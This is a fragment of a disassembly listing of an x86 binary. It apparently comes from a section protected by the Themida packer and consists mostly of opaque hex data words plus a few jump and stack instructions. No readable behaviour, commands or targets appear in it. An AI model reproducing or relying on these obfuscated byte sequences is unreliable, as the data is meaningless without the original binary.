		dd 0B0BBB57h, 0E9496E3Bh, 0EDh,	0D88C6660h, 840F04A8h
		dd 0DFh, 2AA9B58Bh, 0FE8307FAh,	22850F00h, 0C6000000h
		dd 0FA066585h, 69684507h, 0FF8E7269h, 0FA08A5B5h, 0DD858D07h
		dd 0FF07FDA3h, 0BD8589D0h, 8B07FA0Eh, 0E93E80F0h, 31850Fh
		dd 858D0000h, 7FFB5DFh,	0BD8BD0FFh, 7FA1505h, 1184C781h
		dd 0B58B0000h, 7FA2AA9h, 8B9F787h, 0F3000000h, 0A9B58BA4h
		dd 8D07FA2Ah, 0FDD76185h, 8BD0FF07h, 0FA0649B5h, 0FE8307h
		dd 22850Fh, 85C60000h, 7FA0665h, 0BEF46854h, 0B5FFFF4Eh
		dd 7FA08A5h, 0A3DD858Dh, 0D0FF07FDh, 6498589h, 0F08B07FAh
		dd 0FE93E80h, 3A85h, 49B58B00h,	8D07FA06h, 0FFB5DF85h
		dd 8BD0FF07h, 0FA1505BDh, 84C78107h, 83000011h,	0B58B08C7h
		dd 7FA0649h, 8B9F787h, 0F3000000h, 49B58BA4h, 8D07FA06h
		dd 0FDD76185h, 61D0FF07h, 87858DC3h, 89080282h,	0FA0B1D85h
		dd 22E907h, 0F6810000h,	6076h, 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_60BCDA
; ---------------------------------------------------------------------------
		push	80284CFh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	802852Eh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	8028693h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 71h
; ---------------------------------------------------------------------------
		movsd
		stc
		retn
; ---------------------------------------------------------------------------
		db 16h
		dd 0BF6CA2FCh, 65124856h, 11BEF4AAh, 34689E00h,	2579987Fh
		dd 0CCD242EFh, 7727E996h, 1F7F9441h, 0A6C21AE9h, 7E90643h
		dd 1E730B71h, 0F51EA9F5h, 6AA7984Fh, 3F7AA434h,	0E1BD57DAh
		dd 0C1477E67h, 9C1637Eh, 4EF45D9Dh, 0E1BD56BBh,	53BE13ABh
		dd 0F197C04Bh, 0D767F990h, 0E0B319BBh, 0FD3DBD07h, 0E0927EE1h
		dd 0DF4BA407h, 7E0927Ch, 0A0FE15AAh, 1A83EC15h,	91FC638Fh
		dd 850607E0h, 9E8CC4CBh, 0DC2A406Eh, 0BB000002h, 0CEBB657Bh
		dd 98C20292h, 1A60061Dh, 54C86EDCh, 7E0DB52h, 6D972780h
		dd 355C5D19h, 9EE38945h, 46A54C3Ah, 59078205h, 39B74C9h
		dd 0E7A9C55Dh, 7C028068h, 58BD203Ch, 8AE3FD4Ch,	0B2429BE4h
		dd 70EAB45Dh, 0F5041EC1h, 10A349EBh, 3ECE92F7h,	46209D22h
		dd 5EEE4705h, 516D0A09h, 0FA85DAEEh, 1C52BB14h,	57BEA46Fh
		dd 2A93BC47h, 3931A6Ch,	5DFC3763h, 311h, 0C8FEA076h, 71A7F71Bh
		dd 174D51C4h, 0C3F9A56Ah, 6DA3FB16h, 769B8439h,	0CF45F228h
		dd 24EC99CFh, 7C97447Ah, 0C51DEC22h, 0E90746A9h, 4F066C07h
		dd 3ACA96F3h, 0E907401Eh, 59BA0F07h, 0EB91BA45h, 64B949A2h
		dd 0EBBF1ADh, 0E4109B03h, 7E9067Ch, 0D3910D06h,	6E61B7ABh
		dd 0B2BA5994h, 0D5000002h, 7A275D41h, 23D00698h, 0C976ACF2h
		dd 75225846h, 98CC029Ch, 8915FCE3h, 306EA653h, 0DBC34DFAh
		dd 831BF8A5h, 0A267E4Dh, 7E908A7h, 0BCB067CDh, 4EF4AA67h
		dd 34C49CEDh, 0E9073A18h, 840F6807h, 0E905F158h, 335ABB07h
		dd 0A203CDC0h, 28DF68Fh, 0A12C729Dh, 842CE60Fh,	0DDE49E1Fh
		dd 407691A5h, 19E43h, 729EF300h, 0A7CF862Ch, 42A7326Ch
		dd 0E83DCDD1h, 0C2EB7628h, 0C7DDE1Ch, 0EA8C454h, 0B407E0AEh
		dd 0ADB51834h, 82DB07E0h, 0FB628E19h, 507E0ACh,	0D1FBCA84h
		dd 0DE3E09FBh, 0BC8C32C7h, 406EC984h, 4822h, 96F3B300h
		dd 501E3ACAh, 4E07E09Ch, 92565F5h, 7E09BA6h, 43CE73CCh
		dd 1A7D05Bh, 9BDB426Eh,	64E507E0h, 0A76BA3AAh, 0D409406Eh
		dd 0B9000000h, 93754F79h, 5F620BB8h, 0E15B90F3h, 0CD5DB607h
		dd 0E15B4EB1h, 751B7407h, 326CA7BEh, 0E06778A2h, 0CE777AAAh
		dd 0E1309528h, 46CD32BDh, 0AB68CD58h, 0C049BDF3h, 97FFE774h
		dd 29CED042h, 42DB8E6h,	3C62B15Eh, 51446E06h, 0FF627EA0h
		dd 25FFE698h, 0DAA552CCh, 97F253F9h, 911C828Dh,	536FFF68h
		dd 7E3B37Dh, 0A4B03FA9h, 944740F3h, 0CB469B2Bh,	21F09DD3h
		dd 8DA9CE41h, 7E3402Ah,	2D96FF58h, 6076056Fh, 4CEB269Eh
		dd 14Dh, 8CC2DC3Ah, 356B33DFh, 0DB118D88h, 87BDE12Eh, 316737DAh
		dd 0B25F48FDh, 0B09B6ECh, 60B05D93h, 0B85B083Eh, 89E1B0E6h
		dd 0E9090A6Dh, 1BD23807h, 0B80D6AA7h, 78DB4757h, 9EFFE683h
		dd 29920C09h, 36DD8AC0h, 0A77B3268h, 42A7326Ch,	3697CDD1h
		dd 287D0D53h, 29B4EAh, 0A5A6C25Ah, 0C007E0D2h, 4FF5A96Bh
		dd 0DD1DAD06h, 0DD7CAB3h, 31AB3557h, 342C6FFh, 4B15790h
		dd 0DFBF550Dh, 7EA84076h, 0B95B7043h, 0B7315AE5h, 0CD73C91Fh
		dd 0E0C1F259h, 4757BC07h, 0F1AD6411h, 0AFC766h,	0F3600000h
		dd 1E3ACA96h, 7E9073Ch,	0CF58F11Bh, 0BC8B79Bh, 38C31C65h
		dd 285E40D3h, 7B06987Bh, 633BD62Bh, 31FAFD8h, 7E8C2A0h
		dd 53C76DC6h, 705D4043h, 3418D20Bh, 0DC89BFDFh,	0BAE42B37h
		dd 0A297C151h, 50B3CF51h, 76605D4Bh, 0B535A31Dh, 0EB50E389h
		dd 0D4375324h, 2605CAEh, 9AFD19A9h, 0C8605CAEh,	167B066Fh
		dd 0AF149FFFh, 54AD3866h, 0E7B9611Bh, 0E03504BEh, 1AC76D31h
		dd 0F3AB69F9h, 0ADE44763h, 0B912605Ch, 0A66D1A50h, 0D32868F8h
		dd 0A8D15C42h, 5CAED93Ch, 8AE0760h, 0FD675h, 398E0000h
		dd 0D63BC6D8h, 0B1DA6539h, 0BBEBA248h, 2F6FA75Ch, 0CAD43FA4h
		dd 6836DA3Fh, 29C78DDh,	9FFF1277h, 3C62AF14h, 0DBC34CB1h
		dd 742AEB50h, 108E84E9h, 54565285h, 4C6815Eh, 83000000h
		dd 348704EEh, 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 89532434h, 4C381E3h,	83000000h, 1C8704EBh, 1C895C24h
		dd 1FBD6824h, 0C890000h, 794B924h, 36BE5C01h, 1AC017Ch
		dd 8B5459CEh, 0C481241Ch, 4, 6BBA5256h,	313CDB23h, 5A042454h
		dd 8108438Fh, 236B0873h, 34FF3CDBh, 0C4815B24h,	4
; ---------------------------------------------------------------------------
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 0Dh
		db 27h,	0B8h
; ---------------------------------------------------------------------------


loc_60BCDA:				; CODE XREF: Themida_:0060B7E8j
		mov	eax, 8028805h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 78h
		dd 824EFB87h, 0F86D5C23h, 7455FF87h, 813F0F55h,	0F01AAF94h
		dd 0F86DEBECh, 72160DF1h, 7E64EE53h, 4421C331h,	424D04B7h
		dd 0E53B41C7h, 0D454325Ah, 0E859491Ch, 6, 5A9A55B1h, 0DA808771h
		dd 860F580Bh, 6, 46F0F381h, 0C0811E36h,	6C3Dh, 1CBA6660h
		dd 0F0815346h, 45300817h, 68615Bh, 0F000000h, 583h, 0E6805000h
		dd 665F5ECCh, 0FF4463BEh, 0ECBA0734h, 5961E844h, 18F0Fh
		dd 81F80000h, 0C057A9F1h, 0F1812Dh, 0F801CD94h,	6C55F181h
		dd 0BF0F4D98h, 8A5251F6h, 48F5AD3h, 0CA816638h,	8B5237F0h
		dd 0EF835BF3h, 0DB806002h, 0F7816646h, 4F61B1B0h, 9EC2814Fh
		dd 8118C468h, 0FF945CFFh, 0A8850FFFh, 81FFFFFFh, 313B62DBh
		dd 11E913h, 8DF00000h, 33ECh, 2	dup(0)
		dd 0E9000000h, 4ECh, 8CC2DC3Ah,	356B33DFh, 0DB118D88h
		dd 87BDE12Eh, 316737DAh, 0B25F48FDh, 0B09B6ECh,	60B05D93h
		dd 0B85B083Eh, 89E1B0E6h, 0E90C0A6Dh, 1BD23807h, 0A7326CA7h
		dd 0E0BECF42h, 7E5323E3h, 70083EA7h, 77B11430h,	0F1A6FFE7h
		dd 8CB334FFh, 0F36DC607h, 7BC82E85h, 7C29CFFFh,	177C0797h
		dd 0E4A966FCh, 6AA1C05Eh, 0CA55BE14h, 48AD38A1h, 0F049D4CAh
		dd 0FA19FDB7h, 4FC16EA4h, 0A46C194Fh, 0A0A6FFAh, 37770994h
		dd 0E5702EE2h, 0DB9516BCh, 4F8519F7h, 0EBB362B7h, 237B9845h
		dd 0D066C98h, 0C637FFE7h, 19CD050Ch, 586B3875h,	0FC000000h
		dd 0F2AC67BCh, 0EE749F4Ch, 0C3EC7727h, 3EA3CF5Ah, 6BFFE683h
		dd 13940FAh, 0E838748Fh, 91217D93h, 0E6771275h,	41E740FFh
		dd 160h, 6BA7F100h, 0CF43A833h,	30DF44CFh, 518AE36Eh, 3F5FB397h
		dd 0D6B75C09h, 2F80A03Dh, 0E41A8308h, 8DF00C4Ch, 0B3FFE701h
		dd 0A7FDB45Ah, 44A9346Ah, 0E045D0CEh, 7CE16C32h, 2B7D0896h
		dd 44A04802h, 9C755913h, 2BC813F1h, 22BB6E8h, 43B5EF88h
		dd 20F54ADAh, 24CAF37Eh, 0C4DA39E6h, 5D41D439h,	0FBA36DD2h
		dd 98060B70h, 0D892BB0Dh, 904ACB30h, 74B54189h,	65DF38h
		dd 3A8F0000h, 113AC5D9h, 6AA7B46Bh, 0D144A934h,	0B0E942CDh
		dd 9FFF12F6h, 4955BC69h, 0E8B659BEh, 4BA0385Dh,	2049D4CAh
		dd 383FF97Ah, 387488F0h, 0D5D7ADD7h, 91AB3D1Ah,	4F000C17h
		dd 0B55BFE07h, 45D4h, 6AA76500h, 0CC44A934h, 0C20347D2h
		dd 0B1ED2408h, 5FB7E121h, 9597A24Dh, 8F1C7FEBh,	0F14AFFE6h
		dd 0A7560D4Bh, 7CA8336Bh, 0FFE68316h, 0E16C32E0h, 7D08967Ch
		dd 0A048022Bh, 3037F162h, 38748EF8h, 196h, 6EA72700h, 0CA4BA030h
		dd 7A2049D4h, 0D9182E7h, 86B0F082h, 0E9F945B6h,	16973DDEh
		dd 19D785Ch, 411F6ACBh,	0EF3795B1h, 0E36307E0h,	0E0C564C7h
		dd 0D0399207h, 6B33E045h, 6AF0B1DBh, 0BC196833h, 0E82BD816h
		dd 0B1DB2BB6h, 40D0CFB8h, 305E45Eh, 0DA3FB359h,	0C107E0FCh
		dd 31E2C680h, 759F376Dh, 97A6CC63h, 9845EB88h, 4898237Bh
		dd 8289EC08h, 22B707E1h, 9E44ADF1h, 0F17C22F1h,	6EAA4D5h
		dd 8B5B910Dh, 406F8E53h, 145F1h, 96F38200h, 0C81E3ACAh
		dd 0D607E0B8h, 868DF27Dh, 0DE35E218h, 0B81A7D99h, 0EF4807E0h
		dd 7D96FB86h, 0D53C9121h, 6F153EC9h, 19D77DCh, 9B031176h
		dd 0F47F1FF6h, 45EDA7D8h, 1AFEB8E9h, 2FC994F9h,	206DCC0Ch
		dd 79B181B7h, 17406F73h, 4Ch, 86B87C7h,	2E07E15Bh, 0F3782FD5h
		dd 1A36C69Ah, 7FE68397h, 3EA1BD3Dh, 647FE682h, 0C717A20Bh
		dd 8DD14A9Dh, 5E048DB0h, 0E58787EAh, 79335C7Fh,	24B4ACE1h
		dd 18868FE4h, 4ABE648Dh, 0FFE586C7h, 0E7B758EDh, 0AB61487Eh
		dd 0FA000000h, 3ACA96F3h, 0E09AB41Eh, 12C83207h, 0A5FA55B9h
		dd 9FA80B27h, 75CE07E0h, 0BE13A30Ch, 95BE4955h,	1CF75CEFh
		dd 779DF282h, 304C9C27h, 7E09FCDh, 8B319AF3h, 1A73A04Dh
		dd 0AF61AA1Eh, 0ECAAF2D2h, 8AF84FEh, 0E30F9A03h, 7E1037Bh
		dd 492DE728h, 237B98CAh, 3DD52ABAh, 45AEF025h, 832975A0h
		dd 0BBA5E445h, 7D96EB2Bh, 0C76D9621h, 0E38B6953h, 27E87D0Fh
		dd 49C3EC77h, 0F32EC5EBh, 4EDE4741h, 0BAD68D24h, 0DECF3B9Eh
		dd 9610690Fh, 0C86EDC1Ah, 5B43D035h, 5B153ED0h,	0B55EC6C3h
		dd 0CC355EE9h, 5F36203Ch, 53AC17E1h, 96F3661Dh,	341E3ACAh
		dd 0B207E90Dh, 0AA69CE59h, 20F64F4h, 0BB8F69Ch,	0B1069608h
		dd 94F71364h, 0C207E90Ch, 0C75A0069h, 0D70F509Bh, 0BC5FE43h
		dd 7CB2EC27h, 0CA5A44CFh, 0D0B6E8Ah, 0E03933D3h, 0CD42A73Ah
		dd 25EC41D1h, 0AE40D379h, 2CE7CB85h, 86A2E272h,	33D30D23h
		dd 1452F851h, 67F2AC67h, 514DC217h, 10F79DC6h, 32h, 0EE9F73C8h
		dd 0DD398BF6h, 22C8316Eh, 607CBC6Bh, 0FFE682FDh, 8355B8D4h
		dd 227BFFE6h, 49E288E1h, 4AADC909h, 3FFFE683h, 0DDECD7A9h
		dd 97F031C3h, 6FA73AF1h, 0D43FA42Fh, 36DA3FCAh,	9C78DD68h
		dd 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h
		dd 68528510h, 1660h, 57242489h,	4BFh, 247C0100h, 89535F04h
		dd 4C381E3h, 83000000h,	1C8704EBh, 1C895C24h, 563D6824h
		dd 14890000h, 4EC8324h,	0BF243C89h, 8028993h, 815FFB89h
		dd 4ECh, 24248900h, 4240481h, 5A000000h, 8904EC83h, 428F241Ch
		dd 24148B08h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 5B2434FFh
		dd 4C481h, 7DE90000h, 0BEFFF7F0h, 16E3349Bh, 0C4A46B13h
		dd 28DFEB8h, 0FFC50308h, 2806D7E0h, 0DA570961h,	0EA962225h
		dd 0C29BC443h, 5025207Dh, 0E4BD22Bh, 0D7E1102h,	0C71ED21Dh
		dd 0D117782Ah, 0D2D3725Eh, 20B1FE7Eh, 54691A44h, 0C6C18677h
		dd 77DBD041h, 33913832h, 8068895Ch, 785B6F67h, 415E7849h
		dd 0E048E97Ch, 29603400h, 883C693Ah, 4D8A5E35h,	0D956C518h
		dd 0DAC4AC68h, 8EA61B65h, 2BE954h, 33250000h, 75AAh, 9 dup(0)
		dd 5E7E900h, 4EC80000h,	0A56D1A50h, 0FF16C3F9h,	53BC699Fh
		dd 0A968154Bh, 0D68BBFF5h, 447A24EDh, 0EB217D97h, 96CCD23Eh
		dd 3E742AE9h, 98FB176Fh, 0BE07E912h, 6CA7A158h,	257A732h
		dd 39E68C12h, 0E136C6D8h, 8BC96F2Fh, 365835DEh,	5C317903h
		dd 76D9F585h, 9CFFE755h, 0FF4FDA43h, 0AC3767AAh, 0E330DD83h
		dd 55157894h, 0E23BFFE7h, 499EEE79h, 8330D6C8h,	2B840F8Fh
		dd 0BF5438F2h, 0D4254FDFh, 579B1782h, 5E0B49EFh, 3F5FB0B2h
		dd 9A25799Ah, 25D20871h, 49A77EBh, 5CE75079h, 0F6811DF7h
		dd 9D813B64h, 48F52B73h, 1C48D3CBh, 0FFE751B6h,	840F8F80h
		dd 20ABF31Fh, 43EBA5CEh, 0E6537D05h, 6CCE295Dh,	8712DE6h
		dd 2027E162h, 387571E8h, 6987ACFh, 0CBAC527Bh, 6Eh, 607CBC5Ch
		dd 0FFE682FDh, 7724CA23h, 4B77029Ch, 0FFE682E6h, 19E8A213h
		dd 0C24D51C4h, 0EB23F399h, 8938748Eh, 1, 277CBC1Ah, 0E74AB6E8h
		dd 0D4FFE682h, 5D764033h, 1770B118h, 504EC471h,	0B0B260C5h
		dd 7C973C62h, 0DE2EB922h, 88138B89h, 30CB95Fh, 7EB7109Bh
		dd 72A0F5C4h, 39D9862Ch, 91822F65h, 3BE7F8FCh, 55BEB66Ah
		dd 67BC681Fh, 4A66F6A8h, 0FFE682E7h, 610EB40Dh,	48ABC7B0h
		dd 6EFFE683h, 0BC21AC15h, 58BD4856h, 0F358E3BBh, 0D8F47F1Fh
		dd 0E945EDA7h, 0F71AFEB8h, 83016480h, 0D62FFFE6h, 898A376Dh
		dd 0F0258A15h, 47C91EAEh, 0FDA3CC57h, 0AC4456Ah, 7489BB03h
		dd 0CD5938h, 0A7EA0000h, 8EF10D6Ah, 0B4FFE683h,	41AAF41Fh
		dd 2DE84DD8h, 0CDB7E171h, 3871083h, 49A235DBh, 9F725610h
		dd 0DA2F6FFFh, 97FA6638h, 0BDFFE6FCh, 0E880BE64h, 0FC298CA8h
		dd 0FE57FFE6h, 0FBEF526Eh, 0BC15FFE6h, 0BAA86916h, 6CBC4757h
		dd 0E6FBED50h, 51BA13FFh, 17F85DE8h, 91ADCA4Bh,	0FFE6FC2Eh
		dd 792FB54h, 0A5E575DEh, 0E6FC2689h, 60D913FFh,	8BA1371Ch
		dd 0B84BF14Ah, 89581293h, 9ACA2D49h, 9FF8FFE6h,	0FB8618FAh
		dd 145C2CD2h, 0B23874A0h, 74h, 0AB67BC43h, 0E44763F3h
		dd 12FFE682h, 0AB6613B9h, 0EE12ABE2h, 0F35C1208h, 9A040E63h
		dd 0AD40E60Fh, 4BD6C848h, 0E7722CE6h, 800B9382h, 8C34EE27h
		dd 290DC708h, 8967AE8h,	0A7B2699Fh, 7CA8336Bh, 0FFE68316h
		dd 0E36E30E0h, 800B937Eh, 0D1793364h, 61682293h, 38748F29h
		dd 17C7h, 594D7700h, 4B2E9C95h,	49D4CA46h, 0B27B720h, 0FFE644A8h
		dd 18CF75CEh, 0A5306EA7h, 89150055h, 822FD5FEh,	0F0820D91h
		dd 0E7B75BB0h, 2206C041h, 0DB1BABF3h, 0E6835CBFh, 8B318AFFh
		dd 0C39DEC4Dh, 9AB91733h, 419607E0h, 1841CCD2h,	9A096C88h
		dd 0DE3707E0h, 0FE85EF38h, 0BA79418Ch, 94D464CDh, 0B3D53854h
		dd 0A2FB07E0h, 0E0B3D336h, 2A80107h, 95090A6Fh,	161B25Fh
		dd 0DA038E10h, 85A1E171h, 7E0B322h, 0C152F750h,	78A437DDh
		dd 7E0B313h, 0BF51A6FEh, 852B54DFh, 0AD664A04h,	50EBBF1h
		dd 6AA90E99h, 5C8DA934h, 4955BEA2h, 0BF0B4313h,	0C8F2406Eh
		dd 412FFEh, 0CDAE54DDh,	183h, 7F1E537Dh, 9DBD4961h, 96F340F7h
		dd 0B41D818Eh, 0B8B20824h, 4BE007E0h, 254ED9C5h, 47CC31BCh
		dd 1B50D846h, 4DB6AB62h, 0F7A768BDh, 3EC9436Ch,	0AA9581D7h
		dd 580543E9h, 3DA0BCBBh, 6307E0A4h, 0F3AB650Ah,	85AFFF8Ah
		dd 9C244DE1h, 9D4AF09Ch, 7A24EC76h, 0F4218611h,	5ABA1FAAh
		dd 3E67B944h, 3880DC84h, 0E5702EE3h, 0DB9516BCh, 0F2821CF7h
		dd 774034C8h, 2ED40280h, 6E820F0h, 3186406Fh, 17000000h
		dd 36C69AF3h, 0E683971Ah, 54E43D7Fh, 8295F814h,	62BB7FE6h
		dd 9AFD29BCh, 777FE682h, 91FC944Eh, 0A82B47D7h,	0EFFE682h
		dd 0D0987FB5h, 31000000h, 87A396F3h, 0FFE68324h, 8384E703h
		dd 59B2FFE6h, 0C656BF18h, 0C36A5C86h, 0C0926CADh, 0E68AF154h
		dd 20C61FFFh, 0A2026C88h, 679107E0h, 3DE0359Dh,	0A2EB914Bh
		dd 119C020Dh, 8FF47FE8h, 37E41A84h, 1C7F9BDCh, 4A07E144h
		dd 0D1FD88F1h, 7E14569h, 1DA8F619h, 0B9445AB8h,	666A237Fh
		dd 9C200BCCh, 75F9A15Bh, 56AB7A34h, 2F58E3BBh, 6737DC89h
		dd 556F9931h, 0A5F998F9h, 4346A74Dh, 0DB388D1Dh, 690F38C3h
		dd 2E3FB5D1h, 328B0FE3h, 0CDD142A7h, 1B70B042h,	8203A9F5h
		dd 0F65930C8h, 0BB95EB52h, 16A60F2Dh, 0E1B684FAh, 67E85217h
		dd 44BAA1Ah, 51A6369Fh,	2C55E0BEh, 86B04886h, 27EE4AD6h
		dd 0A5FFD77h, 0A40723B3h, 0D207E103h, 0F31CD379h, 1E3ACA96h
		dd 7E912A8h, 252DD36h, 1143A6C2h, 187107E9h, 504EC572h
		dd 0F8A66D1Ah, 12F31D6Dh, 0E62555A3h, 45FD379h,	0CA859185h
		dd 20F3D791h, 65CED042h, 0D191822Fh, 6AF55E40h,	9940A05h
		dd 0DBF73777h, 75917D78h, 6E0C365h, 0B7F809A4h,	7D37B85Eh
		dd 29E87A99h, 58C1EA75h, 9E7522h, 0AD675h, 0BC6F0000h
		dd 67F2AC67h, 0A0FF983Eh, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh
		dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch,	0E9742AEBh
		dd 85108E84h, 0E1895152h, 4C181h, 0E9810000h, 4, 5C240C87h
		dd 52241489h, 0C281E289h, 4, 8704EA83h,	895C2414h, 0AC68241Ch
		dd 89000046h, 0B9512404h, 8028F21h, 89CE8956h, 83595EF3h
		dd 248904ECh, 24048324h, 81535804h, 43D7242Ch, 408F652Eh
		dd 8408108h, 652E43D7h,	5324048Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 34FF5C24h, 0C4835B24h, 0E9F6E904h, 4634FFF7h
		dd 0E8FC95B3h, 37DA6B19h, 9480B869h, 0C5030802h, 970DE0FFh
		dd 90D0172Ah, 9039108Ch, 54100B5Bh, 92FB4F70h, 81CB066Dh
		dd 8D8D484Ah, 80295FDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0CDC35040h, 10E976h, 76FC0000h, 304CD9h
		dd 0DDA731D2h, 6EC1F284h, 0CBF0277h, 664AF05Ah,	8D89F18Bh
		dd 7FA1CD9h, 0E398589h,	85C707FAh, 7FA31ADh, 5924h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F8C35141h, 6642515Bh
		dd 0E87DC281h, 2BD985C7h, 7FAh,	0B5FF0000h, 7FA0E71h, 1BD5950Bh
		dd 0DF8B07FAh, 179995FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 2C931BC3h, 8952609Eh
		dd 0FA2AAD9Dh, 880F5807h, 6, 189DB589h,	6A6107FAh, 1995FF00h
		dd 8B07FA10h, 8A3FEBC0h, 60A5AE26h, 0A237BD94h,	9C39C401h
		dd 0F25B83F1h, 550DAEDEh, 41FD374Eh, 4922AC36h,	0E7B13378h
		dd 0AC2C6962h, 98037F50h, 0EE9D268h, 33C10E4h, 927DC0C7h
		dd 0CB095E05h, 0A5A197CFh, 36E9A6A9h, 1000000h,	5224FCF2h
		dd 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h, 7 dup(0)
		dd 114AE900h, 0D1680000h, 0E9080298h, 0FFF7E868h, 299B568h
		dd 0E85EE908h, 968FFF7h, 0E908029Ch, 0FFF7E854h, 29CD168h
		dd 0E84AE908h, 0FD68FFF7h, 0E908029Fh, 0FFF7E840h, 2A0BD68h
		dd 0E836E908h, 0FC68FFF7h, 0E90802A0h, 0FFF7E82Ch, 2A1F868h
		dd 0E822E908h, 0A168FFF7h, 0E90802A2h, 0FFF7E818h, 2A31368h
		dd 0E80EE908h, 0C968FFF7h, 0E90802A4h, 0FFF7E804h, 2A63568h
		dd 0E7FAE908h, 76A0FFF7h, 0CD45F228h, 27EE9BD1h, 7B944177h
		dd 0D140ED23h, 0AE6397CDh, 1C524CC5h, 0C3F9A56Fh, 6EA4FA16h
		dd 164C52C1h, 70D3EF47h, 9607E919h, 6CA77930h, 1C250421h
		dd 72FA9F5h, 67F25B6Ch,	58BBD717h, 7EFFE765h, 657FE2FEh
		dd 4CA5FFE7h, 83903DE3h, 0E52B901Bh, 739C2EB9h,	603ED5B9h
		dd 0A947D2Ah, 0BB1E3A7Ah, 0E9FFE765h, 14ACEA90h, 6555B8D4h
		dd 227BFFE7h, 825E3FA8h, 0D3793125h, 26B1ED26h,	92552C1h
		dd 0FFE72AA6h, 0C3DB37CCh, 3DA60F38h, 0D4B958ADh, 60592716h
		dd 0C04BB412h, 52B3F197h, 7D992937h, 7E135E3h, 96E686B0h
		dd 2B41D729h, 69A73C85h, 1C829035h, 98D828B3h, 0E13B197Ch
		dd 49EE4707h, 224BD6C8h, 3BA1087Ch, 2AAB07E1h, 43316970h
		dd 46CF406Fh, 7F000000h, 33C0233Fh, 8DE607E1h, 96F330E7h
		dd 0DEFA3ACAh, 0FFE6837Bh, 90D1CD45h, 0DDF99137h, 7E09C0Fh
		dd 0FB27B20Bh, 7E09B94h, 0AAC6069Eh, 7E09B47h, 0ED6E146Dh
		dd 0A6F42C33h, 86DB406Eh, 8D6E148Ah, 0EFh, 0F66CA71Eh
		dd 0CFCF441Eh, 49B2DB66h, 0E6B859BEh, 451DF65Bh, 207E92D0h
		dd 9A032CB7h, 0F969AA0Fh, 0DAF68618h, 0FFE68377h, 0A5DB449Dh
		dd 0E688A931h, 533AD9FFh, 18DA5897h, 0C0DC6C5Ah, 0FFE7535Dh
		dd 8BC12A83h, 225835DEh, 85D96517h, 117A24F1h, 85041DA8h
		dd 1EF64BDBh, 52CCF580h, 49DEB99Bh, 5FF79DA9h, 4744F51Fh
		dd 0B1545D87h, 6DF9970Bh, 4CA507E1h, 0FF4E92BCh, 0A83D5491h
		dd 2663C402h, 3694F713h, 69C207E1h, 0DB307000h,	0B0D9643Ah
		dd 1853960Ah, 28810FDEh, 0D0CE4398h, 65AD029Ah,	2BE69339h
		dd 38C3DB37h, 4DE8A60Fh, 0DE998564h, 0E4904A3h,	9E780000h
		dd 0F51DCA00h, 4FC673A9h, 0A36C194Fh, 0F918C5FBh, 863B6FA5h
		dd 0F42A749Dh, 9BD1CD47h, 467C22EEh, 0EE247A99h, 48ABC71Fh
		dd 6E07E91Bh, 6AA75108h, 0C251FE34h, 0F3EFA6DCh, 1E3ACA96h
		dd 7E09C50h, 3B8EE44Eh,	9AE546D1h, 137AA631h, 1D07E0DEh
		dd 0A3DBE29Ch, 41406EEAh, 0D1h,	326CA7D2h, 43FB78A2h, 4205EE3Eh
		dd 0DCEA99C8h, 8F35EAE1h, 0FD7A97FCh, 0E6E47EE1h, 0A64BA4FFh
		dd 7BA42F6Fh, 52588212h, 0F6BD9544h, 0ACD86B11h, 0FFE6F524h
		dd 59E9B55Eh, 1910D04h,	0E6EC82E5h, 0B157B0FFh,	514DC673h
		dd 84DCADC6h, 0D3AD8F4h, 0F6807E1h, 4F1178D9h, 0AB4FA3BFh
		dd 0FE570FDDh, 0AF122E6Eh, 71FFED19h, 61BAFBA3h, 0BC4757BCh
		dd 55ED93h, 0AA578D11h,	0E6793767h, 659985A3h, 0D658B2Ah
		dd 0BA5C0000h, 1101AEE4h, 6BAA578Dh, 0BF50FD33h, 15FCA9DFh
		dd 6A1F5389h, 0D80E9081h, 7FB5E92Bh, 2A603ED2h,	0D208967Dh
		dd 2C8FAB03h, 5A07E91Ch, 6AA73DF4h, 838EF10Dh, 0C450FFE6h
		dd 0D74099DAh, 7F1FF4A1h, 247A9AEFh, 8CCA7099h,	326CA7D5h
		dd 0CDD142A7h, 83BC2397h, 8D86FFE6h, 0E52EDB11h, 3BD429B9h
		dd 6C88D863h, 0FFE68309h, 0CF75DE37h, 623CD73Ch, 137692D2h
		dd 41FFE683h, 93AF42E8h, 4FC4A862h, 0A76ABF4Fh,	0BE4955BBh
		dd 78A12C95h, 0D5D592FEh, 0D67CBB28h, 0ED60098h, 0B4EA26ABh
		dd 0EA1F963Ah, 253C7444h, 0C2DA3875h, 6B000000h, 3ACA96F3h
		dd 0E0A5401Eh, 75055E07h, 5B04184Bh, 680EE5BAh,	0E33085D5h
		dd 3AA115BBh, 407E0DFh,	9F048F0Fh, 5B9F2A74h, 53B8601Ah
		dd 0D91118D2h, 77406EE6h, 89h, 87D7FD27h, 9F964B1Ah, 7AE042F9h
		dd 90FFE683h, 0BBD767F9h, 7E0AD7Dh, 40801069h, 0EA7529EBh
		dd 0ACF255C1h, 0C72007E0h, 0EE74AB4Dh, 24CA4A76h, 0D9244EE6h
		dd 8D611C06h, 0AF620FB5h, 0D41464EFh, 86157894h, 0E23B07E0h
		dd 0E0861376h, 69AC4107h, 1881AA35h, 0E8781172h, 974A3C58h
		dd 3F980FDAh, 15317109h, 0FFE696B2h, 0DBF787E0h, 0FFE69678h
		dd 0F29F459Eh, 0DCF5801Eh, 723B3ADh, 7E0A349h, 0FFE61C75h
